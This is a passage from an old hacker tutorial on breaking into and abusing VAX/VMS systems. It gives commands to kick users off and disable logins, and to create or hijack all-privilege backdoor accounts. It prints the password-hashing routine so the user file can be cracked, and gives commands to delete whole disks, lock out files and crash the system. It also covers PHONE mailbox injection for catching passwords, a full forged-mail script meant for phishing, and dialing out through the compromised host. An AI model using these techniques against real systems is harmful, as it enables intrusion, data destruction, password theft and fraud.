$setprn_s prcnam=prcnam_desc ; Restore process name
movl #ss$_normal,r0
30$:
ret
.end invisible
To kick everyone off the system, type the following:
$ stop "SYSTEM"
$ stop "S14859JD"
$ stop "S15124AL"(note: this automatically disables the subprocess also)
If the system tells that you do not have enough privileges, then you can
kick everyone off by doing the following: (If you have lousy privileges and
can't STOP the processes, then this is really a waste of time, but it is
still pretty fun)
$ set term/parity=odd ttb0: ! this stops SYSTEM
$ set term/parity=odd ttc5: ! this gets S14859JD
$ set term/parity=odd ttc0: ! S15124AL (both) are now gone
The above usually only works with VMS 5.3 and below.
To be sure that they don't come back on and start bothering you, I suggest
you type the following line:
$ set logins/interactive = 0
Now, you can do your damage. This can come in many ways. Since hackers really
don't promote destruction of data, I am strongly against deleting or formatting
the disk. Instead, you should try to maintain your survival on the system for
as long as possible. This can be done a couple of ways. One is to rename the
password to another account that is rarely used, and another is to just make
a whole new account. Both of these techniques require the UAF utility. To get
into UAF, type the following lines:
$ set def sys$sysroot:[sysexe]
$ run sys$system:authorize
You will now get a prompt that looks like this: "UAF>". At this prompt you
can do anything to any account on the system. Let's look back at the two ways
to maintain existence on the system, though. The first one is a little more
difficult than the second one, and it will be covered first. What is required
is that you type the following line:
UAF> show users/nobrief *
You should see extensive information on every account in the system. Stop the
listing when you see an account that hasn't been used in a couple months or
more. To modify this account to become your very own, type this:
UAF> modify accountijustfound /priv=all /pass=whateverpasswordiwant
This line modifies the password to "whateverpasswordiwant" and the privileges
to ultimate system access in the account, "accountijustfound". The other
technique is extremely easy but a little more risky. To create a new account
for yourself named HACKER with all privileges and password VAXHACK, do the
following:
UAF> add hacker /pass=vaxhack /uic=[1,40] /noaccounting-
/device=sys$sysroot /direct=[sysexe] /privs=all <return>
My suggestion is that you don't add accounts, but change the passwords
to accounts that are inactive or have a disuser flag. What you could also
do (with a LOT of effort, I may add) is try to crack the SYS$SYSTEM:SYSUAF.DAT
file. This file contains all of the user information which is accessed with
the authorize program. What I suggest (since VMS uses one-way, unbreakable
encryption) is to take words from a dictionary, encrypt them, and compare them
to encrypted passwords in the SYSUAF.DAT file. The following is the source
code to the VMS encryption algorithm:
.TITLE HPWD - hash user password
.IDENT 'V02-002'
; Hash PassWorD:
; Hash a password irreversibly. This is one way encryption with
; no decryption possible.
; This code was obtained by disassembling the AUTHORIZE program.
; See the VMS microfiche for the fully commented code:
; e _lib$code:_lib$code+68
; Input Parameters:
; PWDDSC - Address of password descriptor
; ENCRYPT - Encryption algorithm index (byte)
; SALT - Random number (word)
; USRDSC - Address of username descriptor
; Output Parameters:
; OUTDSC - Address of encrypted output descriptor
OUTDSC=4
PWDDSC=OUTDSC+4
ENCRYPT=PWDDSC+4
SALT=ENCRYPT+4
USRDSC=SALT+4
.PSECT _LIB$CODE RD,NOWRT,PIC,SHR,BYTE,EXE
AUTODIN:
.LONG ^X000000000,^X01DB71064,^X03B6E20C8,^X026D930AC,^X076DC4190
.LONG ^X06B6B51F4,^X04DB26158,^X05005713C,^X0EDB88320,^X0F00F9344
.LONG ^X0D6D6A3E8,^X0CB61B38C,^X09B64C2B0,^X086D3D2D4,^X0A00AE278
.LONG ^X0BDBDF21C
Purdy_Poly:
c:
.LONG -83,-1
.LONG -179,-1
.LONG -257,-1
.LONG -323,-1
.LONG -363,-1
.ENTRY LGI$HPWD,^M<R2,R3,R4>
MOVAQ @outdsc(AP),R4
MOVAQ @4(R4),R4
TSTB encrypt(AP)
BGTRU 10$
MNEGL #1,R0
MOVAQ @pwddsc(AP),R1
CRC autodin,R0,(R1),@4(R1)
CLRL R1
MOVQ R0,(R4)
BRB 20$
10$: CLRQ (R4)
MOVAQ @pwddsc(AP),R3
BSBB COLLAPSE_R2
ADDW2 salt(AP),3(R4)
MOVAQ @usrdsc(AP),R3
BSBB COLLAPSE_R2
PUSHAQ (R4)
CALLS #1,PURDY
20$: MOVL #1,R0
RET
COLLAPSE_R2:
MOVZWL (R3),R0
BEQL 20$
MOVAL @4(R3),R2
PUSHR #^M<R1,R2>
MOVL R0,R1
5$: CMPB (R2)+,#32
BNEQ 7$
DECL R1
7$: SOBGTR R0,5$
MOVL R1,R0
POPR #^M<R1,R2>
10$: BICL3 #-8,R0,R1
ADDB2 (R2)+,(R4)[R1]
SOBGTR R0,10$
20$: RSB
a=59
n0=1@24-3
n1=1@24-63
.ENTRY PURDY,^M<r2,r3,r4,r5>
MOVQ @4(AP),-(SP)
BSBW PQMOD_R0
MOVAQ (SP),R4
MOVAQ PURDY_POLY,R5
MOVQ (R4),-(SP)
PUSHL #n1
BSBB PQEXP_R3
MOVQ (R4),-(SP)
PUSHL #n0-n1
BSBB PQEXP_R3
MOVQ (R5)+,-(SP)
BSBW PQADD_R0
BSBW PQMUL_R2
MOVQ (R5)+,-(SP)
MOVQ (R4),-(SP)
BSBW PQMUL_R2
MOVQ (R5)+,-(SP)
BSBW PQADD_R0
MOVQ (R4),-(SP)
BSBB PQMUL_R2
MOVQ (R5)+,-(SP)
BSBW PQADD_R0
MOVQ (R4),-(SP)
BSBB PQMUL_R2
MOVQ (R5)+,-(SP)
BSBW PQADD_R0
BSBW PQADD_R0
MOVQ (SP)+,@4(AP)
MOVL #1,R0
RET
PQEXP_R3:
POPR #^M<r3>
MOVQ #1,-(SP)
MOVQ 8+4(SP),-(SP)
TSTL 8+8(SP)
BEQL 30$
10$: BLBC 8+8(SP),20$
MOVQ (SP),-(SP)
MOVQ 8+8(SP),-(SP)
BSBB PQMUL_R2
MOVQ (SP)+,8(SP)
CMPZV #1,#31,8+8(SP),#0
BEQL 30$
20$: MOVQ (SP),-(SP)
BSBB PQMUL_R2
EXTZV #1,#31,8+8(SP),8+8(SP)
BRB 10$
30$: MOVQ 8(SP),8+8+4(SP)
MOVAQ 8+8+4(SP),SP
JMP (R3)
u=0
v=u+4
y=u+8
z=y+4
PQMOD_R0:
POPR #^M<R0>
CMPL v(SP),#-1
BLSSU 10$
CMPL u(SP),#-a
BLSSU 10$
ADDL2 #a,u(SP)
ADWC #0,v(SP)
10$: JMP (R0)
PQMUL_R2:
POPR #^M<r1>
MOVL SP,R2
PUSHL z(R2)
PUSHL v(R2)
BSBB EMULQ
BSBB PQMOD_R0
BSBB PQLSH_R0
PUSHL y(R2)
PUSHL v(R2)
BSBB EMULQ
BSBB PQMOD_R0
PUSHL z(R2)
PUSHL u(R2)
BSBB EMULQ
BSBB PQMOD_R0
BSBB PQADD_R0
BSBB PQADD_R0
BSBB PQLSH_R0
PUSHL y(R2)
PUSHL u(R2)
BSBB EMULQ
BSBB PQMOD_R0
BSBB PQADD_R0
MOVQ (SP)+,Y(R2)
MOVAQ Y(R2),SP
JMP (R1)
EMULQ:
EMUL 4(SP),8(SP),#0,-(SP)
CLRL -(SP)
TSTL 4+8+4(SP)
BGEQ 10$
ADDL2 4+8+8(SP),(SP)
10$: TSTL 4+8+8(SP)
BGEQ 20$
ADDL2 4+8+4(SP),(SP)
20$: ADDL2 (SP)+,4(SP)
MOVQ (SP)+,4(SP)
RSB
PQLSH_R0:
.ENABLE LSB
POPR #^M<r0>
PUSHL v(SP)
PUSHL #a
BSBB EMULQ
ASHQ #32,Y(SP),Y(SP)
BRB 10$
PQADD_R0:
POPR #^M<R0>
10$: ADDL2 u(SP),y(SP)
ADWC v(SP),z(SP)
BLSSU 20$
CMPL z(SP),#-1
BLSSU 30$
CMPL y(SP),#-a
BLSSU 30$
20$: ADDL2 #a,y(SP)
ADWC #0,z(SP)
30$: MOVAQ Y(SP),SP
JMP (R0)
.END
Now what you are essentially looking for on this system is information
because that is what a true hacker tries to retrieve. To get a listing of all
of the directories that are available to you, type:
$ set def [000000]
$ dir *.dir
This will give you a list of directories that you are able to search through.
If you see something interesting, like a directory called TAXES or CREDIT,
then simply type:
$ set def [.taxes] or $ set def [.credit]
$ dir
Type out everything. Always leave your capture on.
VI. Malicious Hacking on the VAX/VMS
I never try to use the tactics discussed in the following section when
I am hacking a VMS system because they are destructive and I only do destructive
stuff to those who deserve it. But, this section must be covered to make this
file complete.
Destroying files is not recommended, although if you have the "BYPASS"
privilege, you can wipe out the entire disk drive by typing:
$ set def [000000]
$ del [...]*.*;*
However, most system managers keep backups, but there are the truly stupid
that don't or leave their backup disks online. Usually, if the administrator
is foolish enough to do that, it could be found in the SYS$BACKUP: device.
Another thing to do that would not involve destroying files, but still can
be pretty fun is to lock out everyone on the system from their files without
deleting them. To do this simply type:
$ set def [000000]
$ set protection = (s:rwed, o, g, w) [...]*.*;*
This gives and a few select others access to the person's files, but no one
else. However, if you don't find that a thrill, then you may want to aim
bigger, and lock people off of disk drives. This is pretty easy, because one
command can do it. Let's just say that our disk drive is named DUA0:, then
you would take it off line by typing:
$ deallocate dua0:
To bring it back online, the command is:
$ allocate dua0:
Another way of locking up a drive is by taking it out of service. This can
be achieved by typing:
$ dismount dua0:
Of course, to put it back in service, you would simply replace DISMOUNT with
MOUNT. To crash the system, it is as easy as typing:
$ run sys$system:opccrash
Next, type Control-P and type HALT at the ">>>" prompt. The system will give
you a message that it has halted, and it has.
VII. Exploiting Security Holes on VAX/VMS
Although there are no major security holes in VAX/VMS that will
grant you all privileges, there are holes that when taken advantage of, can
be used to really mess around with the system, or for social engineering
purposes. One of the bigger security holes is with world-wide mailboxes.
Most applications that support interactive communication between users use
mailboxes that can be read by the world and written to by the world. For
example, the mailboxes created by the phone program are completely world
accessible, as well as being easily discovered. Control codes force PHONE
to perform different operations. Suprisingly, the commands typed at the
keyboard are treated the same as characters recieved through the mailboxes.
To find out the users on the system using phone, and their mailbox names,
you would type:
$ show logical phn$*
This works because PHONE creates systemwide logical names formatted as
PHN$<username>. Now, how would you force output to a person's screen? This
is quite easy once you get their mailbox. Let's say that after you type
"show logical phn$*" you discovered that your victim's mailbox name is
"MBA3791:". Very basically, (stupid pun intended), go into the BASIC
interpeter by typing BASIC with no command line parameters at the prompt,
and type:
open "MBA3791:" for output as file #1
You now have write access to the mailbox. To write "Hello World" on
MELINDA's screen, (providing that MELINDA is your victim using "MBA3791:",
and the name of your node is WHALER) you would type:
print #1, chr$(14);"WHALER::MELINDA";chr$(0);"Hello World"
The format for a command is <cmd-char>NODE::USERNAME<CHR(0)><message>. There
are many more control characters besides 14 (control N) which will do many
different things, and with enough experimentation, you can easily read from
the mailbox, and parse commands. The following is a list of control codes
recognized by the PHONE program and their functions:
kbd_get = chr (1)
kbd_route = chr (2)
cmd_parse = chr (3)
talk = chr (4)
help2 = chr (5)
ring_out = chr (6)
slave_verify = chr (7)
rang_in = chr (8)
hangup = chr (9)
busy = chr (10)
answered = chr (11)
rejected = chr (12)
slave_done = chr (13)
listen = chr (14)
directory2 = chr (15)
facsimile2 = chr (16)
forced_link = chr (17)
held = chr (18)
unheld = chr (19)
What could you possibly use this for besides aggravating the hell out of
everyone? I really can't tell you, but if you can use your knowledge of
the PHONE program to intercept other communication between users, you may
have a chance of catching some passwords.
Another security hole is not in mailboxes, but in MAIL. Using
VMS's faulty intranode communications, it is possible to send anonymous
mail or mail from any user you want. Since this bug can only be applied
to MAIL, I will not go into detail as to how everything works, and I will
only list the source code to an anonymous mail program below. The use of
a program such as this could be to send messages from a system administrator
to users informing them to change their passwords to whatever you want.
$! X-Mail (xmail.com) version 1.01
$ on control_y then goto 5_y_abort
$symbols:
$ status = %x1000000! ! ss$_normal
$ esc[0,7]=%d27
$ cls_seq = esc+"[2J"+esc+"[f"
$ cls := write sys$output cls_seq
$ say := write sys$output
$ ask := read sys$command /prompt=
$ link_open := 0
$ null_byte[0,7] = 0
$ E := "<esc>"
$ tab := " "
$ say " "
$ say " *** For help, type a ""?"" or HELP at the XMAIL> prompt. ***"
$ say " "
$ if p1 .eqs. "" then goto semi_loop
$ goto begin_x
$semi_loop:
$ say " "
$ ask "XMAIL> " cmd
$ if cmd .eqs. "" then goto semi_loop
$ rcmd = f$edit(cmd, "UPCASE")
$ if rcmd .eqs. "HELP" then goto give_help
$ if rcmd .eqs. "?" then goto give_help
$ if rcmd .eqs. "QUIT" then goto 5_exit
$ if rcmd .eqs. "SEND" then goto begin_x
$ say " "
$ say "%XMAIL-E-INVCOMD, invalid command, type HELP for assistance."
$ goto semi_loop
$give_help:
$ cls
$ say " "
$ say " X-Mail is for sending MAIL messages to from ""bogus"" usernames!!"
$ say " "
$ say " Currently the following commands are valid:"
$ say " "
$ say " HELP - provide user with mini-help"
$ say " SEND - invoke X-Mail for sending fake message"
$ say " QUIT - Exit from X-Mail (from any point)"
$ say " "
$ ask "X-Mail Help topic> " xm_help_topic
$ if xm_help_topic .eqs. "" then goto semi_loop
$ xm_help_topic = f$edit(xm_help_topic,"UPCASE")
$ if xm_help_topic .eqs. "SEND" then goto xxx_send
$ goto semi_loop
$xxx_send:
$ cls
$ say " "
$ say " "
$ say " Useage of X-Mail: "
$ say " "
$ say "XMAIL> SEND"
$ say "From: PHONEY USERNAME"
$ say "To: REAL USERNAME"
$ say " If you can't figure it out, you are lame."
$ say " "
$ goto semi_loop
$begin_x:
$ say " "
$ link_open = 0
$ node_name = f$element(0,":",f$logical("sys$node"))
$ open/read/write/err=5_abort send_link 'node_name'::"27="
$ link_open = 1
$ if p3 .eqs. "" then goto 1_xm_send_from
$ _xm_from = f$edit(p3, "UPCASE")
$ if p4 .eqs. "" then goto 1_xm_get_personal_name
$ xm_personal_name = p4
$ goto 1_form_from_line
$1_xm_send_from:
$ ask "From: " /end=5_exit xm_from
$ if xm_from .eqs. "" then xm_from = f$getjpi(f$pid(x_pid),"USERNAME")
$ _xm_from = f$edit(xm_from, "UPCASE")
$1_xm_get_personal_name:
$ ask "P Name: " /end=5_exit xm_personal_name
$1_form_from_line:
$ xm_from_line = _xm_from + tab + xm_personal_name
$ write/err=5_abort send_link xm_from_line
$ node_name = 0
$ receivers = 0
$ return_location := "1_ask_who_to"
$1_ask_who_to:
$ if p2 .eqs. "" then goto 1_xm_send_to
$ xm_send_to = p2
$ goto 1_xm_send_it
$1_xm_send_to:
$ ask "To: " xm_send_to
$1_xm_send_it:
$ on warning then xm_send_to = f$logical("''xm_send_to'")
$ if (xm_send_to .eqs. "") then goto 1_end_of_line
$ xm_send_to = f$edit(xm_send_to,"UPCASE")
$ write/err=5_abort send_link xm_send_to
$ goto 4_check_link_status
$1_end_of_line:
$ write/err=5_abort send_link null_byte
$ if (receivers .eq. 0) then goto 5_exit
$ read/prompt="To Show: "/end=5_exit sys$command xm_to_show
$ xm_to_show = f$edit(xm_to_show,"UPCASE")
$ write /err=5_abort send_link xm_to_show
$ ask "Subject: " xm_subject /end=5_exit
$ write/err=5_abort send_link xm_subject
$ if (p1 .eqs. "") then goto 2_interactive_input
$ open/read send_input 'p1'
$ input := "send_input"
$ goto 2_write_to_mail_buffer
$2_interactive_input:
$ say "Enter your message below. Press CTRL/Z when complete."
$ input := "sys$command"
$2_write_to_mail_buffer:
$ read/prompt=""/end=2_end_of_mail_buffer 'input' mail_txt
$ write/err=5_abort send_link mail_txt
$ goto 2_write_to_mail_buffer
$2_end_of_mail_buffer:
$ write/err=5_abort send_link null_byte
$ if (p1 .eqs. "") then close/nolog 'input'
$ if (p1 .nes. "") then close/nolog 'input'
$ save_count = receivers
$ index = 0
$ return_location := "3_check_delivery"
$3_check_delivery_status:
$ goto 4_check_link_status
$3_check_delivery:
$ index = index + 1
$ if (index .ne. save_count) then goto 3_check_delivery_status
$ goto 5_exit
$4_check_link_status:
$ read/err=5_abort send_link mail_status
$ if (f$cvsi(0,1,mail_status) .eq. -1) then goto 4_valid_message
$4_errmsg:
$ read/err=5_abort send_link mail_status
$ if (f$length(mail_status) .ne. 1) then goto 4_write_message
$ if (f$cvsi(0,8,mail_status) .eq. 0) then goto 'return_location'
$4_write_me
ssage:
$ write sys$error mail_status
$ say mail_status
$ goto 4_errmsg
$4_valid_message:
$ receivers = receivers + 1
$ goto 'return_location'
$5_y_abort:
$ write sys$error "%XMAIL-E-USERINT, Control Y pressed, exiting X-Mail..."
$ status = %xffffffff
$ goto 5_exit
$5_abort:
$ write sys$error "%SEND-E-TOUGHLUCK, network com error."
$ status = %xffffffff
$5_exit:
$ if (link_open .ne. 0) then close/nolog send_link /nolog
$ ! exit (status + ( 0 * f$verify(ver_con)))
$5_real_exit:
$ exit
VIII. Using a Hacked VMS to Infiltrate Other Systems
One of the most common abuses for VMS systems is dialing out.
Usually dialing out requires OPER privileges because the modem terminals are
almost always protected. However, if you do somehow have RW access to a
modem terminal, then you can dialout either of the following two ways.
The first way is just as simple and efficient as the second way,
but it will not work on every single VMS system. If the number you wish
to dial is (508)998-2400, you would use the following command:
$ set host/dte txa0: /dial=number:15089982400
This is, of course, assuming that TXA0: is a modem terminal. The second way
to dial out is to run KERMIT, and directly connect to TXA0:, and issue
standard modem commands. A sample session follows:
$ RUN SYS$SYSTEM:KERMIT
Kermit-32> connect txa0:
Connected to TXA0:. Press ^C when done.
ATZ
OK
ATDT15089982400
If the VAX you have hacked into is hooked up on a packet switching
system such as DATAPAC or TELENET, then there is another USEFUL thing you can
perform. To call out NUA's use the /X29 qualifier. For example:
$ set host/x29 031121200055920
This would call up the NUA 031121200055920. What is interesting to note is
that on many VAX's you can call out to foreign remote nodes such as in the
example and the charge for the collect call is placed to the account through
which you are logged in as. This is a safe and easy method to call out to
PSDN's which are normally long distance from you. It should be noted that
many system managers turn off foreign DNICs, which may limit you to calling
only within your local DNIC.
Last but not least, if the VAX system which you have hacked is on
the Internet, you can use the standard MULTINET package to perform TELNET,
FTP, and USENET functions. If you are not familiar with the Internet, please
read "Zen and the Art of the Internet" or any similar text.
IX. Conclusion
I hope you enjoyed this file and found it informative. This file
was not intended to be an advanced course in VMS hacking, but an introductory
text with basic hacking algorithms and procedures. Much of the material I
have learned through experience, but some of it I have acquired through
other sources. If you have any comments, please write me and the Xenon
Foundation at loxsmith@vod.xf.com or call up the HQ board, the Void of
Deception at 508-998-2400. All new Operation: 54 journals and releases
by me can be found there.
Special thanks to:
Erik Turbo - for getting me started.
All Operation: 54 members - for making hacking interesting again.
The FBI - for adding spice to my life.
Loxsmith
